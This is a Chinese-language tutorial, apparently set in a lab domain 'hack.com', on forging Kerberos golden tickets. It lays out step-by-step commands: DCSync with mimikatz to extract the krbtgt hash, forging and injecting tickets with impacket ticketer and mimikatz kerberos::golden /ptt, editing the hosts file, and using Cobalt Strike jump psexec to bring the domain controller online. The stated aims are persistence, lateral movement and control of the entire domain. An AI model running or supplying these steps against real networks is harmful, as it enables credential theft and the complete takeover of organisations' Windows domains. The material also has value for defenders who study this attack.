一. 黄金票据原理
黄金票据一般是伪造的TGT,生成这个TGT,不需要和KDC进行校验,金票可以在本地直接生成,生成的的金票在非域机器和域内机器都可以使用
黄金票据的作用:
可以用来权限维持
可以用来横向移动
二. 利用条件
1. 必须知道KDC密钥分发中心账户krbtgt的hash值(重要)
Krbtgt用户只有在域控上(要知道该用户的hash,必须先要控制域控或者通过远程查询)
2. 域名
3. 域的SID值
在域中执行whoami /all 域的SID值就是去掉500后面的
4. 需要伪造的用户
一般都是域管理员(administrator)
三. KRBTGT-Hash值的获取方式
获取KRBTGT的hash值,有两种方式:
控制了域控然后查询
通过dcsync查询
1. 控制域控
控制了域控之后可以通过多种方式查询(可以使用之前介绍的密码抓取技术技术)krbtgt是域用户,不是
域控上的本地用户所以存储不在域控的SAM文件中,而是在ntds文件中
还有很多办法,这里只演示一种
2. 没有控制域控
如果没有控制域控,可以通过dcsync的技术获取,Dcsync之前域内密码抓取技术中介绍过,使用该技术需要使用如下的用户
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
域控的Administrator 和 system 也可以
四. 黄金票据的各种制作方式和使用
黄金票据的制作有多种方式,黄金票据本质上是伪造TGT,既然是伪造所以在任何电脑上都可以伪造,生成的TGT票据就可以打入内存(PTT),从而实现对整个域的控制,接下来我们看一下如何伪造
1、impacket中的工具TICKETER
此工具支持在目标机和本地生成金票
命令:
ticketer -domain-sid sid值 -nthash krbtgt-hash -domain 域名 伪造的用户
ticketer -domain-sid S-1-5-21-3176001243-559812214-128103957 -nthash 42a96a39feedfb08eda775cc208ba3e0 -domain hack.com administrator
将生成的票据打入到内存中
2. 直接使用mimikatz生成并注入到内存中
和CS中自带功能一样
kerberos::golden /user:administrator /domain:域名 /sid:SID值 /krbtgt:NTLM-HASH /ptt
kerberos::golden /user:administrator /domain:hack.com /sid:S-1-5-21-3176001243-559812214-128103957 /krbtgt:42a96a39feedfb08eda775cc208ba3e0 /ptt
后面的PTT如果携带 就会自动注入到内存,如果不带就在本地生成
五. 域内机器下的黄金票据制作和CS上线
先上线一台域内主机,通过这台主机控制域控(拿下整个域)
第一步:对服务器进行域内信息收集,并且检查自身的权限,如果是管理员权限直接dcsync
mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt
第二步:获取伪造TGT使用的域SID和域名
whoami /all
第三步:制作黄金票据的条件都收集全之后,可以使用上面的办法生成黄金票据,也可以使用CS自带的金票制作功能
此功能生成后直接将票据注入到内存中,我们可以直接访问域内任意主机
接下来借助计划任务或者是服务上线CS即可
六. 工作组机器下的黄金票据制作和CS上线
上线一台工作组机器,先ping一下域控,看是否能通信
我这个是因为处于同一个网段中,但是在某些情况下需要注意:
工作组机器的DNS必须修改成域控的IP(主要是工作组中的机器需要ping通域名)
如果不修改DNS,可以修改本地的HOST文件,将域名执行对应的IP地址
域中的SID值如何获取呢?可以使用LADP协议使用adfind查询(但是必须知道一个域用户)
krbtgt值如如何获取呢?这个就费劲了,需要使用控制了域控,或者域内机器
这里大家肯定有点矛盾,我既然都可以获取krbtgt,我直接使用域中的机器进行PTT就可以了,为什么还要用工作组中的机器(如果域中的机器有杀软呢?Mimikatz不能使用呢,但是这个工作组电脑上没有杀软)掌握更多方式,为了灵活方便
第一步:修改DNS或者HOST文件,如果在不同域的情况下需要修改
echo 192.168.41.10 dc.hack.com >> C:\Windows\System32\drivers\etc\hosts
或者
netsh interface ipv4 add dns 本地连接 192.168.41.10
第二步:获取krbtgt的hash值
mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt
第三步:获取伪造TGT使用的域SID和域名
第四步:制作金票并注入内存
kerberos::golden /user:administrator /domain:hack.com /sid:S-1-5-21-4004672601-2435621703-3785616059 /krbtgt:42a96a39feedfb08eda775cc208ba3e0
第五步:CS自带的jump命令上线
jump psexec 192.168.41.10 test1